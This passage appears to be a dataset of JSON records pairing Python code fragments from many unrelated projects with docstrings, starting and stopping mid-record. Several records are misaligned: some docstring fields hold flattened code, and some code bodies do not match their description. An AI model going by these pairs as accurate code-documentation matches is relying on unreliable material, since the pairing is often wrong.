"~selfraise NotImplementedError# Concrete implementations of Rational and Real abstract methods.def __float__(self):float(self) == float(int(self))"} {"code": "def __init__(self, value):\n super().__init__(value)\n\n\nclass ActionSetVarRemoteAddr(RouteAction):\n \"\"\"Set REMOTE_ADDR\"\"\"", "nl": ":param str value: URI"} {"code": "def test_usage():\n\n bad = random_string()\n rv, out = getstatusoutput(f'{prg} {bad}')\n assert rv != 0\n assert re.search(f\"No such file or directory: '{bad}'\", out)\n\n", "nl": "usagefor flag in ['-h', '--help']:rv, out = getstatusoutput(f'{prg} {flag}')assert rv == 0assert out.lower().startswith('usage')# --------------------------------------------------def test_bad_file():Dies on bad file"} {"code": "def test_send_yo_missing_username_errors(self):\n (resp, data) = self.successResultOf(json_request(\n self, self.root, b\"POST\", '{0}/yo/'.format(self.uri),\n json.dumps({'api_key': 'A1234567890'}).encode(\"utf-8\")))\n self.assertEquals(resp.code, 400)\n self.assertEquals(data['error'], 'Can\\'t send Yo without a recipient.')\n", "nl": "Yo API sends a bad request error if the recipient is missing."} {"code": "def _flush(self):\n try:\n self.queue.put(None, block=False)\n except Queue.Full:\n self._throttle_error('Queue full, check handlers for delays')", "nl": "We skip any locking code due to the fact that this is now a singleprocess per collector"} {"code": "def _vplotHelper(arg):\n (chunks, params) = arg\n result = np.zeros(((params.upper - params.lower), 2 * params.flank + 1))\n for chunk in chunks:\n try:\n chunk.center()\n submat = FragmentMat2D(chunk.chrom, chunk.start - params.flank-1, chunk.end + params.flank, params.lower, params.upper, params.atac)\n submat.makeFragmentMat(params.bam)\n add = submat.get(start = chunk.start- params.flank, end = chunk.end + params.flank, flip = (chunk.strand ==\"-\"))\n if params.scale:\n add = add/np.sum(add)\n result += add\n except Exception as e:\n print('Caught exception when processing:\\n'+ chunk.asBed()+\"\\n\")\n traceback.print_exc()\n print()\n raise e\n return result\n\n\nclass _VplotParams:\n \"\"\"Class to store parameters for use in _vplotHelper\"\"\"", "nl": "function to make vplot for one region"} {"code": "def setDebug(self, flag=True):\n if flag:", "nl": "Enable display of debugging messages while doing pattern matching.Set ``flag`` to True to enable, False to disable.Example::wd = Word(alphas).setName(\"alphaword\")integer = Word(nums).setName(\"numword\")term = wd | integer# turn on debugging for wdwd.setDebug()OneOrMore(term).parseString(\"abc 123 xyz 890\")prints::Match alphaword at loc 0(1,1)Matched alphaword -> ['abc']Match alphaword at loc 3(1,4)Exception raised:Expected alphaword (at char 4), (line:1, col:5)Match alphaword at loc 7(1,8)Matched alphaword -> ['xyz']Match alphaword at loc 11(1,12)Exception raised:Expected alphaword (at char 12), (line:1, col:13)Match alphaword at loc 15(1,16)Exception raised:Expected alphaword (at char 15), (line:1, col:16)The output shown is that produced by the default debug actions - custom debug actions can bespecified using :class:`setDebugActions`. Prior to attemptingto match the ``wd`` expression, the debugging message ``\"Match at loc (,)\"``is shown. Then if the parse succeeds, a ``\"Matched\"`` message is shown, or an ``\"Exception raised\"``message is shown. Also note the use of :class:`setName` to assign a human-readable name to the expression,which makes debugging and exception messages easier to understand - for instance, the defaultname created for the :class:`Word` expression without calling ``setName`` is ``\"W:(ABCD...)\"``."} {"code": "def debug(msg, prefix=\"\"):\n\n pdt_debug = bpy.context.preferences.addons[__package__].preferences.debug\n if bpy.app.debug or bpy.app.debug_python or pdt_debug:\n import traceback\n", "nl": "Print a debug message to the console if PDT's or Blender's debug flags are set.Note:The printed message will be of the form:{prefix}{caller file name:line number}| {msg}Args:msg: Incoming message to displayprefix: Always BlankReturns:Nothing."} {"code": "def RegisteredFlags(self):\n flag_values = {}\n\n for flag_name in self.RegisteredFlags():\n flag = self.FlagDict()[flag_name]\n flag_values[flag_name] = flag.value\n\n return flag_values\n", "nl": "Returns: a list of the names and short names of all registered flags.return list(self.FlagDict())def FlagValuesDict(self):Returns: a dictionary that maps flag names to flag values."} {"code": "def __init__(self, pk, activity, start, end, description):\n\n self.pk = pk\n self.activity = activity\n self.start = start\n self.end = end\n self.description = description\n self.tags = list()\n", "nl": "Initiate a new instance.Args:fact (hamster_lib.Fact): A fact that is to be representedas a backend instance.Raises:TypeError: If ``fact`` is not an ``Fact`` instance."} {"code": "def _listen_on_attribute(cls, attribute, coerce, parent_cls):\n key = attribute.key\n if parent_cls is not attribute.class_:\n return\n\n parent_cls = attribute.class_\n\n listen_keys = cls._get_listen_keys(attribute)\n", "nl": "Establish this type as a mutation listener for the givenmapped descriptor."} {"code": "def processTag(self, dtag):\n d = {}\n for m in re.findall('([a-zA-Z_][a-zA-Z_:0-9]*?)=\"(.+?)\"', att):\n d[m[0]] = m[1]\n return d\n", "nl": "Process single tag's datauntil = '/'+dtag.rawnamewhile True:tag, attrs, data = self.getnexttag()if data:dtag.data += dataif tag == None:sys.stderr.write(\"Unterminated tag '\"+dtag.rawname+\"'?\\n\")breakif tag == until:breakif tag[-1] == '/':dtag.addChild(Tag(tag[:-1], attrs, parser=self))continueself.processTag(dtag.addChild(Tag(tag, attrs, parser=self)))def splitattrs(att):Extracts name=\"value\" pairs from string; returns them as dictionary"} {"code": "def __init__(self):\n print(\"\\nConfigurations:\")\n for a in dir(self):\n if not a.startswith(\"__\") and not callable(getattr(self, a)):\n print(\"{:30} {}\".format(a, getattr(self, a)))\n print(\"\\n\")", "nl": "Set values of computed attributes.# Effective batch sizeself.BATCH_SIZE = self.IMAGES_PER_GPU * self.GPU_COUNT# Input image sizeif self.IMAGE_RESIZE_MODE == \"crop\":self.IMAGE_SHAPE = np.array([self.IMAGE_MIN_DIM, self.IMAGE_MIN_DIM,self.IMAGE_CHANNEL_COUNT])else:self.IMAGE_SHAPE = np.array([self.IMAGE_MAX_DIM, self.IMAGE_MAX_DIM,self.IMAGE_CHANNEL_COUNT])# Image meta data length# See compose_image_meta() for detailsself.IMAGE_META_SIZE = 1 + 3 + 3 + 4 + 1 + self.NUM_CLASSESdef display(self):Display Configuration values."} {"code": "def _make_fake_dataset(self, split):\n", "nl": "Returns a fake data set with the correct shapes.np.random.seed(self._seed)num_samples_per_epoch = 100num_epochs = self.eval_test_samples // 100 if split == \"test\" else Noneimages_shape = [num_samples_per_epoch] + list(self.image_shape)images = np.random.uniform(size=images_shape).astype(np.float32)labels = np.ones((num_samples_per_epoch,), dtype=np.int32)ds = tf.data.Dataset.from_tensor_slices((images, labels))return ds.repeat(num_epochs)def _get_per_host_random_seed(self, tpu_context=None):Returns the dataset seed for according to the TPUContext."} {"code": "def faceSet(self):\n ret = FaceSet(self, [])\n ret.update(list(range(len(self.faceVertArray))))\n return ret\n", "nl": " Get a face set containing the whole meshReturns-------: FaceSetA face set containing the whole mesh"} {"code": "def _padleft(width, s):\n fmt = \"{0:>%ds}\" % width\n return fmt.format(s)\n\n", "nl": "Flush right.>>> _padleft(6, '\\u044f\\u0439\\u0446\\u0430') == ' \\u044f\\u0439\\u0446\\u0430'True"} {"code": "def get(self, key: Key, defualt=None) -> Value:\n return self._dict.__iter__()\n", "nl": "Get value from index with fallback value `default`.try:return self.__getitem__(key)except KeyError:return defualtdef __iter__(self) -> Iterable[Value]:Return iterable of Context object."} {"code": "def get_devices_fields(self, fields=[], dev_filter=[]):\n if not self.adom:\n dev_url = \"/dvmdb/device\"\n else:\n dev_url = \"{}device\".format(self.dvmdb_url)\n\n body = dict(method=\"get\", params=[dict(url=dev_url, fields=fields, filter=dev_filter)], verbose=1,\n session=self.session)\n response = self.make_request(body)\n\n return response.json()[\"result\"][0].get(\"data\", [])\n\n @staticmethod", "nl": "This method is used to retrieve information about a managed devices from FortiManager. A list of fields can bepassed int o limit the scope of what data is returned for each the device.:param fields: Type list.A list of fields to retrieve for the device.:param dev_filter: Type list.A list matching to a filter parameter for API requests [, , ].:return: The json response from the request to retrieve the configured devices. An empty list is returned if therequest does not return any data."} {"code": "def get_network(self, name_or_id, filters=None):\n return _utils._get_entity(self, 'network', name_or_id, filters)\n", "nl": "Get a network by name or ID.:param name_or_id: Name or ID of the network.:param filters:A dictionary of meta data to use for further filtering. Elementsof this dictionary may, themselves, be dictionaries. Example::{'last_name': 'Smith','other': {'gender': 'Female'}}ORA string containing a jmespath expression for further filtering.Example:: \"[?last_name==`Smith`] | [?other.gender]==`Female`]\":returns: A network ``munch.Munch`` or None if no matching network isfound."} {"code": "def collect(self, pf):\n return super(Call, self).collect(pf) + \\\n titus.util.flatten(x.collect(pf) for x in self.args)\n", "nl": "Walk over tree applying a partial function, returning a list of results in its domain.:type pf: callable with ``isDefinedAt`` method:param pf: partial function that takes any titus.pfaast.Ast as an argument, returning anything:type pf.isDefinedAt: callable:param pf.isDefinedAt: domain that takes any titus.pfaast.Ast as an argument, returning ``True`` if this item is in the domain, ``False`` otherwise:rtype: list of function results:return: a result for each abstract syntax tree node in the ``pf`` function's domain"} {"code": "def test_user_project_has_build(self):\n user_project = Project.objects.create_project(self.PROJECT_NAME, None)\n user_project.save()\n\n now = timezone.now()\n build = Build.objects.create(project=user_project,\n started_on=now,\n completed_on=now)\n build.save()\n\n self.get(reverse('landing'))\n\n elements = self.find_all('\n self.assertEqual(len(elements), 1, 'should redirect to builds')\n content = self.get_page_source()\n self.assertTrue(self.PROJECT_NAME in content,\n 'should show builds for project %s' % self.PROJECT_NAME)\n self.assertFalse(self.CLI_BUILDS_PROJECT_NAME in content,\n 'should not show builds for cli project')", "nl": "User has added a project (with builds), command line builds doesn't=> should see the builds page"} {"code": "def delete_mac_binding_entries_by_mac(self, mac):\n cmd = ['ovsdb-client', 'transact', ovn_conf.get_ovn_sb_connection(),\n '--timeout', str(ovn_conf.get_ovn_ovsdb_timeout())]\n if ovn_conf.get_ovn_sb_private_key():\n cmd += ['-p', ovn_conf.get_ovn_sb_private_key(), '-c',\n ovn_conf.get_ovn_sb_certificate(), '-C',\n ovn_conf.get_ovn_sb_ca_cert()]\n cmd += ['[\"OVN_Southbound\", {\"op\": \"delete\", \"table\": \"MAC_Binding\", '\n '\"where\": [[\"mac\", \"==\", \"%s\"]]}]' % mac]\n return processutils.execute(*cmd,\n log_errors=processutils.LOG_FINAL_ERROR)\n", "nl": "Delete all MAC_Binding entries associated to this mac addressThe reason for using ovsdb-client intead of sb_ovn.db_destroyis refer to patch:https://review.opendev.org/c/openstack/neutron/+/812805"} {"code": "def addtag_enclosed(self, newtag, x1, y1, x2, y2):\n self.addtag(newtag, 'enclosed', x1, y1, x2, y2)", "nl": "Add tag NEWTAG to all items in the rectangle definedby X1,Y1,X2,Y2."} {"code": "def setxen(config):\n _set_hosts_stress()\n execute(_installstress)\n\n@task", "nl": " Revert to XEN clocksource _set_hosts(config)execute(_setxen)@taskdef installstress(): Installs the Stress code and runner files "} {"code": "def get_metadata_lines(name):\n", "nl": "Yield named metadata resource as list of non-blank non-comment linesLeading and trailing whitespace is stripped from each line, and lineswith ``#`` as the first non-blank character are omitted."} {"code": "def orthographic_proj_withz_idrot(X, cam, offset_z=0.):\n scale = cam[:, 0].contiguous().view(-1, 1, 1)\n trans = cam[:, 1:3].contiguous().view(cam.size(0), 1, -1)\n\n proj = X\n\n proj_xy = scale * (proj[:, :, :2] + trans)\n proj_z = proj[:, :, 2, None] + offset_z\n\n return torch.cat((proj_xy, proj_z), 2)\n\n", "nl": "X: B x N x 3cam: B x 3: [sc, tx, ty]No rotation!Orth preserving the z.sc * ( x + [tx; ty])as in HMR.."} {"code": "def get_checker_message_definitions(checker):", "nl": "Return the list of messages definitions for a checker.:param BaseChecker checker::rtype: list:return: A list of MessageDefinition."} {"code": "def updateLinkedNotebook(self, authenticationToken, linkedNotebook):\n self.send_updateLinkedNotebook(authenticationToken, linkedNotebook)\n return self.recv_updateLinkedNotebook()\n", "nl": "@param linkedNotebookUpdates the name of a linked notebook.@returnThe Update Sequence Number for this change within the account.@throws EDAMUserException
  • BAD_DATA_FORMAT \"LinkedNotebook.name\" - invalid length or pattern
Parameters:- authenticationToken- linkedNotebook"} {"code": "def IsCloudSubdirPlaceholder(url, blr=None):\n if not url.IsCloudUrl():\n return False\n url_str = url.url_string\n if url_str.endswith('_$folder$'):\n return True\n if blr and blr.IsObject():\n size = blr.root_object.size\n else:\n size = 0\n return size == 0 and url_str.endswith('/')\n\n", "nl": "Determines if a StorageUrl is a cloud subdir placeholder.This function is needed because GUI tools (like the GCS cloud console) allowusers to create empty \"folders\" by creating a placeholder object; and partsof gsutil need to treat those placeholder objects specially. For example,gsutil rsync needs to avoid downloading those objects because they can causeconflicts (see comments in rsync command for details).We currently detect two cases:- Cloud objects whose name ends with '_$folder$'- Cloud objects whose name ends with '/'Args:url: (gslib.storage_url.StorageUrl) The URL to be checked.blr: (gslib.BucketListingRef or None) The blr to check, or None if notavailable. If `blr` is None, size won't be checked.Returns:(bool) True if the URL is a cloud subdir placeholder, otherwise False."} {"code": "def _read_win(filename, century=\"20\", **kwargs): # @UnusedVariable\n output = {}\n srates = {}\n\n with open(filename, \"rb\") as fpin:\n fpin.seek(0, 2)\n sz = fpin.tell()\n fpin.seek(0)\n leng = 0\n status0 = 0\n start = 0\n while leng < sz:\n pklen = fpin.read(4)\n if len(pklen) < 4:\n break\n leng = 4\n truelen = from_buffer(pklen, '>i')[0]\n if truelen == 0:\n break\n buff = fpin.read(6)\n leng += 6\n\n yy = \"%s%02x\" % (century, ord(buff[0:1]))\n mm = \"%x\" % ord(buff[1:2])\n dd = \"%x\" % ord(buff[2:3])\n hh = \"%x\" % ord(buff[3:4])\n mi = \"%x\" % ord(buff[4:5])\n sec = \"%x\" % ord(buff[5:6])\n\n date = UTCDateTime(int(yy), int(mm), int(dd), int(hh), int(mi),\n int(sec))\n if start == 0:\n start = date\n if status0 == 0:\n sdata = None\n while leng < truelen:\n buff = fpin.read(4)\n leng += 4\n flag = '%02x' % ord(buff[0:1])\n chanum = '%02x' % ord(buff[1:2])\n chanum = \"%02s%02s\" % (flag, chanum)\n datawide = int('%x' % (ord(buff[2:3]) >> 4))\n srate = ord(buff[3:4])\n xlen = (srate - 1) * datawide\n if datawide == 0:\n xlen = srate // 2\n datawide = 0.5\n\n idata00 = fpin.read(4)\n leng += 4\n idata22 = from_buffer(idata00, '>i')[0]\n\n if chanum in output:\n output[chanum].append(idata22)\n else:\n output[chanum] = [idata22, ]\n srates[chanum] = srate\n sdata = fpin.read(xlen)\n leng += xlen\n\n if len(sdata) < xlen:\n fpin.seek(-(xlen - len(sdata)), 1)\n sdata += fpin.read(xlen - len(sdata))\n msg = \"This shouldn't happen, it's weird...\"\n warnings.warn(msg)\n\n if datawide == 0.5:\n for i in range(xlen):\n idata2 = output[chanum][-1] + \\\n from_buffer(sdata[i:i + 1], np.int8)[0] >> 4\n output[chanum].append(idata2)\n idata2 = idata2 +\\\n (from_buffer(sdata[i:i + 1],\n np.int8)[0] << 4) >> 4\n output[chanum].append(idata2)\n elif datawide == 1:\n for i in range((xlen // datawide)):\n idata2 = output[chanum][-1] +\\\n from_buffer(sdata[i:i + 1], np.int8)[0]\n output[chanum].append(idata2)\n elif datawide == 2:\n for i in range((xlen // datawide)):\n idata2 = output[chanum][-1] +\\\n from_buffer(sdata[2 * i:2 * (i + 1)],\n '>h')[0]\n output[chanum].append(idata2)\n elif datawide == 3:\n for i in range((xlen // datawide)):\n idata2 = output[chanum][-1] +\\\n from_buffer(sdata[3 * i:3 * (i + 1)] + b' ',\n '>i')[0] >> 8\n output[chanum].append(idata2)\n elif datawide == 4:\n for i in range((xlen // datawide)):\n idata2 = output[chanum][-1] +\\\n from_buffer(sdata[4 * i:4 * (i + 1)],\n '>i')[0]\n output[chanum].append(idata2)\n else:\n msg = \"DATAWIDE is %s \" % datawide + \\\n \"but only values of 0.5, 1, 2, 3 or 4 are supported.\"\n raise NotImplementedError(msg)\n\n traces = []\n for i in output.keys():\n t = Trace(data=np.array(output[i]))\n t.stats.channel = str(i)\n t.stats.sampling_rate = float(srates[i])\n t.stats.starttime = start\n traces.append(t)\n return Stream(traces=traces)", "nl": "Reads a WIN file and returns a Stream object... warning::This function should NOT be called directly, it registers via theObsPy :func:`~obspy.core.stream.read` function, call this instead.:type filename: str:param filename: WIN file to be read.:param century: WIN stores year as 2 numbers, need century toconstruct proper datetime.:rtype: :class:`~obspy.core.stream.Stream`:returns: Stream object containing header and data."} {"code": "def load_mask(mask: MaskTypes) -> \"Mask\":\n if mask is None:\n raise TypeError(\n \"'mask=None' means an empty region. To analyse the entire \"", "nl": "Used to load a mask from disk, or to create a mask from a `Region`.A mask is a black & white image (the same size as the video-frame) thatspecifies which parts of the frame to process: White pixels select the areato process, black pixels the area to ignore.In most cases you don't need to call ``load_mask`` directly; Stb-tester'simage-processing functions such as `is_screen_black`, `press_and_wait`, and`wait_for_motion` will call ``load_mask`` with their ``mask`` parameter.This function is a public API so that you can use it if you areimplementing your own image-processing functions.Note that you can pass a `Region` directly to the ``mask`` parameter ofstbt functions, and you can create more complex masks by adding,subtracting, or inverting Regions (see :doc:`masks`).:param str|Region mask: A relative or absolute filename of a mask PNGimage. If given a relative filename, this uses the algorithm from`load_image` to find the file.Or, a `Region` that specifies the area to process.:returns: A mask as used by `is_screen_black`, `press_and_wait`,`wait_for_motion`, and similar image-processing functions.Added in v33."} {"code": "def resnet34(pretrained=False, progress=True, **kwargs):\n return _resnet('resnet34', BasicBlock, [3, 4, 6, 3], pretrained, progress,\n **kwargs)\n\n", "nl": "rResNet-34 model from`\"Deep Residual Learning for Image Recognition\" `_Args:pretrained (bool): If True, returns a model pre-trained on ImageNetprogress (bool): If True, displays a progress bar of the download to stderr"} {"code": "def ltrimboth (l,proportiontocut):\n lowercut = int(proportiontocut*len(l))\n uppercut = len(l) - lowercut\n return l[lowercut:uppercut]\n\n", "nl": "Slices off the passed proportion of items from BOTH ends of the passedlist (i.e., with proportiontocut=0.1, slices 'leftmost' 10% AND 'rightmost'10% of scores. Assumes list is sorted by magnitude. Slices off LESS ifproportion results in a non-integer slice index (i.e., conservativelyslices off proportiontocut).Usage: ltrimboth (l,proportiontocut)Returns: trimmed version of list l"} {"code": "def emitCurrentToken(self):\n token = self.currentToken\n if (token[\"type\"] in tagTokenTypes):\n token[\"name\"] = token[\"name\"].translate(asciiUpper2Lower)\n if token[\"type\"] == tokenTypes[\"EndTag\"]:\n if token[\"data\"]:\n self.tokenQueue.append({\"type\": tokenTypes[\"ParseError\"],\n \"data\": \"attributes-in-end-tag\"})\n if token[\"selfClosing\"]:\n self.tokenQueue.append({\"type\": tokenTypes[\"ParseError\"],\n \"data\": \"self-closing-flag-on-end-tag\"})\n self.tokenQueue.append(token)\n self.state = self.dataState\n", "nl": "This method is a generic handler for emitting the tags. It also setsthe state to \"data\" because that's what's needed after a token has beenemitted."} {"code": "def obj(self):\n return self.obj_content_object or self.obj_text\n\n @cached_property", "nl": "See ``actor`` property.:return: Action Object or Text or None."} {"code": "def unlink(self):\n if not self.fname:\n return\n try:\n with open(self.fname, \"r\") as f:\n try:\n wpid = int(f.read())\n except ValueError:\n return\n\n try:\n os.kill(wpid, 0)\n return wpid\n except OSError as e:\n if e.args[0] == errno.EPERM:\n return wpid\n if e.args[0] == errno.ESRCH:\n return\n raise\n except IOError as e:\n if e.args[0] == errno.ENOENT:\n return\n raise", "nl": " delete pidfiletry:with open(self.fname, \"r\") as f:pid1 = int(f.read() or 0)if pid1 == self.pid:os.unlink(self.fname)except:passdef validate(self): Validate pidfile and make it stale if needed"} {"code": "def _encode_params(data):\n\n if isinstance(data, (str, bytes)):\n return data\n elif hasattr(data, 'read'):\n return data\n elif hasattr(data, '__iter__'):\n result = []\n for k, vs in to_key_val_list(data):\n if isinstance(vs, basestring) or not hasattr(vs, '__iter__'):\n vs = [vs]\n for v in vs:\n if v is not None:\n result.append(\n (k.encode('utf-8') if isinstance(k, str) else k,\n v.encode('utf-8') if isinstance(v, str) else v))\n return urlencode(result, doseq=True)\n else:\n return data\n\n @staticmethod", "nl": "Encode parameters in a piece of data.Will successfully encode parameters when passed as a dict or a list of2-tuples. Order is retained if data is a list of 2-tuples but arbitraryif parameters are supplied as a dict."} {"code": "def encode_sequence_of_tokens(self, token_sequence):", "nl": "Encodes a sequence of tokens into real value vectors.Args:token_sequence (list): A sequence of tokens.Returns:(list): Encoded sequence of tokens."} {"code": "def need_reexport(self):\n ori_exported = self.ori_exported or nfs_exported(session=self.session)\n if self.is_exported():\n exported_options = ori_exported[self.entry_tag]\n options = [_ for _ in self.options if _ not in exported_options]\n if options:\n self.ori_options = exported_options\n return True\n return False\n", "nl": "Check if the entry is already exported but the options are notthe same as we required.:return: Need re export the entry or not:rtype: Boolean"} {"code": "def __call__(self, pred_class_logits, _, gt_classes):\n self._log_accuracy(pred_class_logits, gt_classes)\n if self._eps >= 0:\n smooth_param = self._eps\n else:\n soft_label = F.softmax(pred_class_logits, dim=1)\n smooth_param = self._alpha * soft_label[torch.arange(soft_label.size(0)), gt_classes].unsqueeze(1)\n\n log_probs = F.log_softmax(pred_class_logits, dim=1)\n with torch.no_grad():\n targets = torch.ones_like(log_probs)\n targets *= smooth_param / (self._num_classes - 1)\n targets.scatter_(1, gt_classes.data.unsqueeze(1), (1 - smooth_param))\n\n loss = (-targets * log_probs).mean(0).sum()\n return {\n \"loss_cls\": loss * self._scale,\n }", "nl": "Compute the softmax cross entropy loss for box classification.Returns:scalar Tensor"} {"code": "def histogram(img, title=\"Histogram\", wait=0):\n hist = np.histogram(img, bins=np.arange(0, 256))\n fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(8, 3))\n ax1.imshow(img, cmap=plt.cm.gray, interpolation=\"nearest\")\n ax1.axis(\"off\")\n ax2.plot(hist[1][:-1], hist[0], lw=2)\n ax2.set_title(title)\n if wait == 0:\n plt.show()\n else:\n plt.pause(wait)", "nl": "Draw histogram of image data"} {"code": "def get_spontaneous_environment(*args):\n try:\n env = _spontaneous_environments.get(args)\n except TypeError:\n return Environment(*args)\n if env is not None:\n return env\n _spontaneous_environments[args] = env = Environment(*args)\n env.shared = True\n return env\n\n", "nl": "Return a new spontaneous environment. A spontaneous environment is anunnamed and unaccessible (in theory) environment that is used fortemplates generated from a string and not from the file system."} {"code": "def from_dict(self, d={}):\n frac_k_points, k_points_labels = Kpoints3D().interpolated_points(\n self.atoms\n )\n lines = []\n for i, j in zip(frac_k_points, k_points_labels):\n if j != \"\":\n line = (\n str(j)\n + str(\" \")\n + str(i[0])\n + str(\" \")\n + str(i[1])\n + str(\" \")\n + str(i[2])\n )\n line = line.replace(\"\\\\\", \"\")\n lines.append(line)\n lines1 = lines\n lines2 = lines[1:]\n pairs = zip(lines1, lines2)\n lines = []\n for i in pairs:\n line = i[0] + str(\" \") + str(i[1])\n if i[0] != i[1]:\n lines.append(line)\n return lines\n", "nl": "Construct class from a dictionary.return WTin(atoms=Atoms.from_dict(d[\"atoms\"]),nelect=d[\"nelect\"],wannierout=d[\"wannierout\"],efermi=d[\"efermi\"],soc=d[\"soc\"],exclude=d[\"exclude\"],nwan=d[\"nwan\"],wtin=d[\"wtin\"],miller=d[\"miller\"],semi_core_states=d[\"semi_core_states\"],)def get_ibz_kp(self):Get high-symmetry k-points."} {"code": "def to_polygon(self):\n\n return box(*self)\n\n\nclass ProjectedExtent(namedtuple(\"ProjectedExtent\", 'extent epsg proj4')):\n \"\"\"Describes both the area on Earth a raster represents in addition to its CRS.", "nl": "Converts this instance to a Shapely Polygon.The resulting Polygon will be in the shape of a box.Returns:``shapely.geometry.Polygon``"} {"code": "def apply_coords(self, coords: np.ndarray) -> np.ndarray:\n coords[:, 1] = self.height - coords[:, 1]\n return coords\n", "nl": "Flip the coordinates.Args:coords (ndarray): floating point array of shape Nx2. Each row is(x, y).Returns:ndarray: the flipped coordinates.Note:The inputs are floating point coordinates, not pixel indices.Therefore they are flipped by `(W - x, H - y)`, not`(W - 1 - x, H - 1 - y)`."} {"code": "def image_cget(self, index, option):\n return self._configure(('image', 'configure', index), cnf, kw)\n", "nl": "Return the value of OPTION of an embedded image at INDEX.if option[:1] != '-':option = '-' + optionif option[-1:] == '_':option = option[:-1]return self.tk.call(self._w, 'image', 'cget', index, option)def image_configure(self, index, cnf=None, **kw):Configure an embedded image at INDEX."} {"code": "def test_dev_list(self):\n os.listdir.return_value = [\n 'foo', 'bar', 'baz', 'bad',\n ]\n", "nl": "Test device listing."} {"code": "def create_x509_revoked_certificate(self, builder):\n\n @abc.abstractmethod", "nl": "Create a RevokedCertificate object from a RevokedCertificateBuilderobject."} {"code": "def ppr_partition(clustering, alpha=0.9, relabeled_elements=None):\n\n if relabeled_elements is None:\n relabeled_elements = relabel_objects(clustering.elements)\n\n ppr = np.zeros((clustering.n_elements, clustering.n_elements))\n for clustername, clusterlist in clustering.clu2elm_dict.items():\n Csize = len(clusterlist)\n clusterlist = [relabeled_elements[v] for v in clusterlist]\n ppr_result = alpha/Csize * np.ones((Csize, Csize)) +\\\n np.eye(Csize) * (1.0 - alpha)\n ppr[[[v] for v in clusterlist], clusterlist] = ppr_result\n\n return ppr\n\n", "nl": "The element-centric clustering similarity affinity matrix for a partition found analytically.:param Clustering clustering: The Clustering:param float alpha: The personalized page-rank return probability as a float in [0,1].:param dict relabeled_elements: (optional)The elements maped to indices of the affinity matrix.:returns: 2d numpy arrayThe element-centric affinity representation of the clustering>>> import clusim.sim as sim>>> from clusim.clustering import Clustering>>> elm2clu_dict = {0:[0], 1:[0], 2:[1], 3:[1], 4:[2], 5:[2]}>>> clustering1 = Clustering(elm2clu_dict=elm2clu_dict)>>> pprmatrix = sim.ppr_partition(clustering1, alpha=0.9)>>> print(pprmatrix)"} {"code": "def analyze_data(self, directory):\n all_files = glob.glob(os.path.join(directory,'*.csv'))\n for fl in all_files:\n logger.info(\"Analyzing file {}\".format(fl))\n df = pd.read_csv(fl)\n df['word_len'] = df.story.apply(lambda x: len(word_tokenize(x)))\n df['word_len_clean'] = df.clean_story.apply(lambda x: len(word_tokenize(x)))\n print(\"Max words : \", df.word_len.max())\n print(\"Min words : \", df.word_len.min())\n print(\"For clean story : \")\n print(\"Max words : \", df.word_len_clean.max())\n print(\"Min words : \", df.word_len_clean.min())\n logger.info(\"Analysis complete\")\n", "nl": "Analyze a given directory:param directory::return:"} {"code": "def setup_output_srs(input_srs, options):\n output_srs = osr.SpatialReference()\n\n if options.profile == 'mercator':\n output_srs.ImportFromEPSG(3857)\n elif options.profile == 'geodetic':\n output_srs.ImportFromEPSG(4326)\n else:\n output_srs = input_srs\n\n return output_srs\n\n", "nl": "Setup the desired SRS (based on options)"} {"code": "def usage():\n\n", "nl": "print This script is compatible only with MToolBox v.1.2.The script filters the MToolBox vcf file based on Heteroplasmy and Read Depth thresholdsUsage:filter_HF.py \\n can also be .gz file\\n\\n is boolean and takes Yes or No values and converts HF >= 0.9 to GT=1/1. Useful for haplogroup prediction with other methods (e.g. haplogrep)\\n\\n"} {"code": "def set_smp(self, smp):\n return self.inner_cmd('set_smp %s' % smp)\n", "nl": "set-smp - set number of virtual CPUs in applianceChange the number of virtual CPUs assigned to the appliance. The defaultis 1. Increasing this may improve performance, though often it has noeffect."} {"code": "def _create_graph(graph_def, weight_dict):\n graph = tf.Graph()\n with tf.compat.v1.Session(graph=graph):\n for k, v in weight_dict.items():\n weight_dict[k] = tf.convert_to_tensor(v)", "nl": "Create a TF Graph from nodesArgs:graph_def: TF GraphDef message containing the node graphweight_dict: Dictionary from node names to tensor dataReturns:TF Graph for inference or saving"} {"code": "def write_compact_to_phylip(alignment, dest):\n file_obj = None\n if isinstance(dest, str):\n file_obj = open(dest, \"w\")\n else:\n file_obj = dest\n for name, seq in list(alignment.items()):\n file_obj.write('>%s\\n%s\\n%s\\n' % (name, seq.seq, \" \".join((str(x) for x in seq.pos))) )\n if isinstance(dest, str):\n file_obj.close()\n", "nl": "Writes the `alignment` in FASTA format to either a file object or fileassert(isinstance(alignment,CompactAlignment))file_obj = Noneif isinstance(dest, str):file_obj = open(dest, \"w\")else:file_obj = destfile_obj.write('%s\\t%s\\n' % (alignment.get_num_taxa(), alignment.sequence_length()) )for name in list(alignment.keys()):s = alignment.as_string_sequence(name)file_obj.write('%s %s\\n' % (name, s) )if isinstance(dest, str):file_obj.close()def write_compact_to_compact(alignment, dest):Writes the `alignment` in COMPACT format to either a file object or file"} {"code": "def hermemul(c1, c2):\n [c1, c2] = pu.as_series([c1, c2])\n\n if len(c1) > len(c2):\n c = c2\n xs = c1\n else:\n c = c1\n xs = c2\n\n if len(c) == 1:\n c0 = c[0]*xs\n c1 = 0\n elif len(c) == 2:\n c0 = c[0]*xs\n c1 = c[1]*xs\n else:\n nd = len(c)\n c0 = c[-2]*xs\n c1 = c[-1]*xs\n for i in range(3, len(c) + 1):\n tmp = c0\n nd = nd - 1\n c0 = hermesub(c[-i]*xs, c1*(nd - 1))\n c1 = hermeadd(tmp, hermemulx(c1))\n return hermeadd(c0, hermemulx(c1))\n\n", "nl": "Multiply one Hermite series by another.Returns the product of two Hermite series `c1` * `c2`. The argumentsare sequences of coefficients, from lowest order \"term\" to highest,e.g., [1,2,3] represents the series ``P_0 + 2*P_1 + 3*P_2``.Parameters----------c1, c2 : array_like1-D arrays of Hermite series coefficients ordered from low tohigh.Returns-------out : ndarrayOf Hermite series coefficients representing their product.See Also--------hermeadd, hermesub, hermemulx, hermediv, hermepowNotes-----In general, the (polynomial) product of two C-series results in termsthat are not in the Hermite polynomial basis set. Thus, to expressthe product as a Hermite series, it is necessary to \"reproject\" theproduct onto said basis set, which may produce \"unintuitive\" (butcorrect) results; see Examples section below.Examples-------->>> from numpy.polynomial.hermite_e import hermemul>>> hermemul([1, 2, 3], [0, 1, 2])array([14., 15., 28., 7., 6.])"} {"code": "def endElementNS(self, name, qname):\n", "nl": "Signals the end of an element in namespace mode.The name parameter contains the name of the element type, justas with the startElementNS event."} {"code": "def validator_names_standard(self) -> Dict[str, 